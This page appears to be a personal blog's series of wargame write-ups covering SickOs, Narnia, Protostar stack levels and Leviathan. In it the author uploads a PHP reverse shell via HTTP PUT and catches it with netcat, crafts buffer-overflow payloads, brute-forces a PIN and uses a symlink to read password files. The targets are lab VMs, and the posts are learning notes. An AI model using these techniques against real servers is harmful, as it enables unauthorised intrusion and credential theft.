sickos shell

Getting back to SickOs, we left off last time after finding that there’s a /test URL that gives a directory listing, but it’s empty. After doing some research, one of the prudent things we could do is test to see what kind of HTTP methods are supported for this particular path. We could do this manually, but nmap actually has a script which can enumerate the methods for us.

root@kali:~# nmap --script http-methods --script-args http-methods.test-all,http-methods.url-path='/test' 192.168.42.132

Starting Nmap 7.50 ( https://nmap.org ) at 2017-09-26 18:42 EDT
Nmap scan report for 192.168.42.132
Host is up (0.00054s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-methods: 
|   Supported Methods: PROPFIND DELETE MKCOL PUT MOVE COPY PROPPATCH LOCK UNLOCK GET HEAD POST OPTIONS
|   Potentially risky methods: PROPFIND DELETE MKCOL PUT MOVE COPY PROPPATCH LOCK UNLOCK
|_  Path tested: /test
MAC Address: 00:0C:29:29:E3:17 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 24.96 seconds
root@kali:~# 

The “Potentially risky methods” line should probably catch our attention immediately. More specifically, PUT is listed as a supported method. We should, in theory, be able to use this to upload files to the server. Rather than write our own, we’re going to cheat and download a reverse php shell from http://pentestmonkey.net/tools/web-shells/php-reverse-shell . After replacing the appropriate variables inside the script (I had to enter my IP, but I kept the port of 1234), we use the curl utility to upload it to the server.

curl -H Expect: -T ./php-reverse-shell.php http://192.168.42.132/test/reverse.php -v -0
*   Trying 192.168.42.132...
* TCP_NODELAY set
* Connected to 192.168.42.132 (192.168.42.132) port 80 (#0)
> PUT /test/reverse.php HTTP/1.0
> Host: 192.168.42.132
> User-Agent: curl/7.52.1
> Accept: */*
> Content-Length: 5496
> 
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Length: 0
< Connection: close
< Date: Tue, 26 Sep 2017 23:46:25 GMT
< Server: lighttpd/1.4.28
< 
* Curl_http_done: called premature == 0
* Closing connection 0

Now lets start netcat listening on our box and then invoke the page on the server.

root@kali:~/php-reverse-shell-1.0# nc -l -p 1234

But nothing happens…

failing to get the shell

It becomes apparent that there must be some firewall settings that are blocking outgoing traffic. I ended up trying a couple of other random ports that were towards the higher end of the spectrum with no joy. I then attempted port 80, and when that failed 443.

root@kali:~/php-reverse-shell-1.0# nc -l -p 443
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
 17:51:53 up 18 min,  0 users,  load average: 0.00, 0.04, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

We now have a shell, and it appears to be running as www-data, which in my experience is what webservers generally run as. Next time, we’ll do some local enumeration and try to figure out how we can esclate.

narnia level 0

To supplement the stack exercises in Protostar, I’m also working on the Narnia wargame from overthewire.org. It seems to deal with similar material, and I’m hoping it will reinforce what I’m doing with protostar.

So, that said, the first narnia challenge is thus:

#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef)
                system("/bin/sh");
        else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

This appears to be basically the same setup as Protostar level 2. We have an integer and a character buffer on the stack, and our goal is set the variable val to 0xdeadbeef. We know that buffer is 20 characters, so we again use python to spit out a character string 20 bytes long, with another four bytes appended at the end which will be written into the val variable. As a reminder, because the architecture is little endian, we have to write the bytes in reverse order.

narnia0@narnia:/narnia$ python -c 'print "A" * 20 + "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ▒
val: 0xdeadbeef
narnia0@narnia:/narnia$ whoami
narnia0
narnia0@narnia:/narnia$

WTF? We can see that the program is confirming that I’ve set val to the proper value, and yet it didn’t seem to spawn the shell. Something is fishy here…
I can set a breakpoint on the line that spawns the shell, and the program is definitely getting there, but something is apparently going amiss inside the function call. I guess I’m stalled untill I can figure out why this is failing.

protostar stack4

In this level , we don’t have a function pointer on the stack (at least not in the traditional sense, I guess), but we’re still tasked with calling the win function. Our first step is to find the address of win, and using objdump like we did in the last level, we find that it’s 080483f4. Now we know our payload, the next step is to find the target.

Looking through the code, there’s not much to it. It makes a call to gets and then immediately exits. If we disassemble the main function, we see the only real chance we have of altering executing is to take advance of the ret instruction. Ret will pop an address off the stack and the jump to it, so if we’re able to overwrite that address, we can jump to the win function and complete the challenge.

We know that buffer is the only local variable on the stack, and it’s 64 bytes. However, we need to figure out how far beyond those 64 bytes we need to write in order to get to the return address. I set a breakpoint inside main, just before the call to gets. After that I printed out the value of EBP, 0xBFFFF808, which should be pointing to the base of the stack. I stepped through the next few instructions and input a very long string of the character “A” when gets was called. After returning from that function, I examined the stack and noted the address where the 0x41 (ascii code for the A character) started, which appeared to be at 0xBFFFF7C0. Based on that, we need to overwrite the next word of memory that’s just beyond EBP, which is the address that the ret command is going to jump to. 0xBFFFF808 - 0xBFFFF7C0 appears to be 72 bytes. The base of the stack should be pointing at the old EBP value, so we need to overwrite those four bytes as well, making the total amount of bytes 76 (I think? My visualization of the stack may be a bit shaky here).

Image description

Testing out our theory, we appear to succeed, although we don’t exit cleanly. The important thing is that we were able to call the win function though.

Image description

protostar stack3

The next exercise tasks us with jumping to a particular place in memory. Thankfully, there’s a function pointer that gets placed on the stack, so conceptually it’s fairly similar to what we’ve been doing. The real problem here is determing where the function is in memory. The directions for the challenge advise checking out objdump, and it proves to be useful.

Image description

Using objdump -d, we get a dissasembly of the of the program, including the various functions. If we scroll down, we see the address defined for the win function 08048424. Using python for our one liner this time (why not?), we generate our string with the function address appended to the end, remembering that we have to write the bytes in reverse order due to the endianness of protostar.

Image description

protostar stack2

Building yet again on the prior exercise, this time we’re going to use an environmental variable to deliver the payload.

 char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

The only other difference between this exercise and the last is that we’re setting modified to 0x0d0a0d0a. Doing the conversion to ascii characters, it appears to be “\n\r\n\r”. Slightly modifying our ruby one liner to create the new payload, we set the environment variable and call the next program.

Image description

protostar stack1

Same setup as the last level, but now we have to set the modified variable to a particular value.

 if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
 } else {
      printf("Try again, you got 0x%08x\n", modified);
 }

We can easily build off our last answer in order to find a solution. The biggest point here is the endianess of protostar, which the level description explicitly states is little endian. This is important because modified is an integer that’s four bytes in size, and we need to know how to order those bytes. Since we have confirmed the ordering, we know where to place the most significant byte.

The source is asking us to set modified to 0x61626364, and if we break that into bytes and traslate them into characters, it’s the string “abcd”. Given that we know the byte order is little endian, we actually have to pass the string in reverse.

Image description

protostar stack0

I started looking at the other Krypton challenges, and while I plan to get around to them eventually, it’s not something that I want to work on at the moment. I’m done with Bandit, finished Leviathan, and still need to get back to SickOs and Natas. However, I’ve been wanting to learn more about Linux exploitation, and Protostar seemed like a good introduction to that. I also intend to start Narnia soon as I think it deals with similar material.

Protostar is vm that comes with various challenge binaries already on the box, so it feels kind of similar to overthewire. Instructions for each level are available at https://exploit-exercises.com/protostar/.

We’ll be starting with Stack0, which deals with memory corruption. The first challenge tasks us with modifying the variable “modified” in the following c program:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

This is possible for a couple of reasons. First, the order of the variables and how they’re declared. Second, the call to gets, which does not check the length of the string against the buffer it’s writing into. By abusing this fact, we can write past the end of the buffer and into the modified variable. In the following screenshot, I’ve printed out the addresses of the two variables.

Image description

You can see that the stack is laid out something like this:

[0xbffff818] Stack base
|                |
|                |
[0xbffff834] char buffer[64]
|                |
|                |
|                |
|                |
|                |
|                |
[0xbfffff874] int modified

This makes it slightly easier to visual happens when we we feed more than 64 characters to the program.

Image description

leviathan level 7

And… that was it. Apparently I’ve actually completed a wargame. Yay me.

eviathan7@leviathan:~$ ls
CONGRATULATIONS
leviathan7@leviathan:~$

leviathan level 6

Leviathan 6 wants us to guess a four digit pin. Strings reveals nothing, and ltrace confirms that it’s calling atoi on the parameter we pass, so this is definitely a numeric comparison. In other words, I’m pretty sure that we can’t figure out the pin purely by examining the compiled code. Again, we could always load up gdb, but that would probably go against the spirit of the challenge.

Since I can’t debug it, the only thing I can think to do is brute force it. This again kind of leans towards the programmer side of things, but it’s still accomplished entirely within unix/linux commands, so I think it’s fair. We can actually do this with a one liner: leviathan6@leviathan:~$ for i in $(seq 1000 9999); do ./leviathan6 $i; done

A couple of things to note here - I’m just assuming that the pin is probably going to be over 1000. I guess it could be in the first 999 numbers, but it seems unlikely. We luck out though, and at some point (I have no idea what the actual pin was), I find myself with a shell running as leviathan7.

.
.
Numerous failed attempts
.
.
Wrong
Wrong
$ whoami
leviathan7
$ cat /etc/leviathan_pass/leviathan7
XXXXXXXXXXXXXX
$

leviathan level 5

The single executable in this level produces an error message when we try to run it. It wants to open a file called /tmp/file.log. After verifying that it wasn’t there, I tried creating an empty file and ran the program to see what would happen. I’m not quite sure what the program is doing at this point, but it seems to have deleted my file. After I create the file and also add some content, it looks like level5 is just catting the contents of the file. I go ahead and create a symbolic link to the leviathan6 password and name it /tmp/file.log, and I’m awarded with the next password.

It’s actually a little weird how easy this level was. The second level was similar, but much more difficult due to the fact that it checked permssions on the file it was catting.

leviathan5@leviathan:~$ ls
leviathan5
leviathan5@leviathan:~$ file ./leviathan5
./leviathan5: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c628afab3b095914570d9b19a35ea05ca1e53371, not stripped
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ file /tmp/file.log
/tmp/file.log: ERROR: cannot open `/tmp/file.log' (No such file or directory)
leviathan5@leviathan:~$ touch /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
leviathan5@leviathan:~$ cat /tmp/file.log
cat: /tmp/file.log: No such file or directory
leviathan5@leviathan:~$ touch /tmp/file.log
leviathan5@leviathan:~$ ltrace ./leviathan5
__libc_start_main(0x80485ed, 1, 0xffffd7f4, 0x8048690 <unfinished ...>
fopen("/tmp/file.log", "r")                                                = 0x804b008
fgetc(0x804b008)                                                           = '\377'
feof(0x804b008)                                                            = 1
fclose(0x804b008)                                                          = 0
getuid()                                                                   = 12005
setuid(12005)                                                              = 0
unlink("/tmp/file.log")                                                    = 0
+++ exited (status 0) +++
leviathan5@leviathan:~$ echo "Hey I'm a file" > /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
Hey I'm a file
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
XXXXXXXXXXX
leviathan5@leviathan:~$
← Newer Posts Older Posts →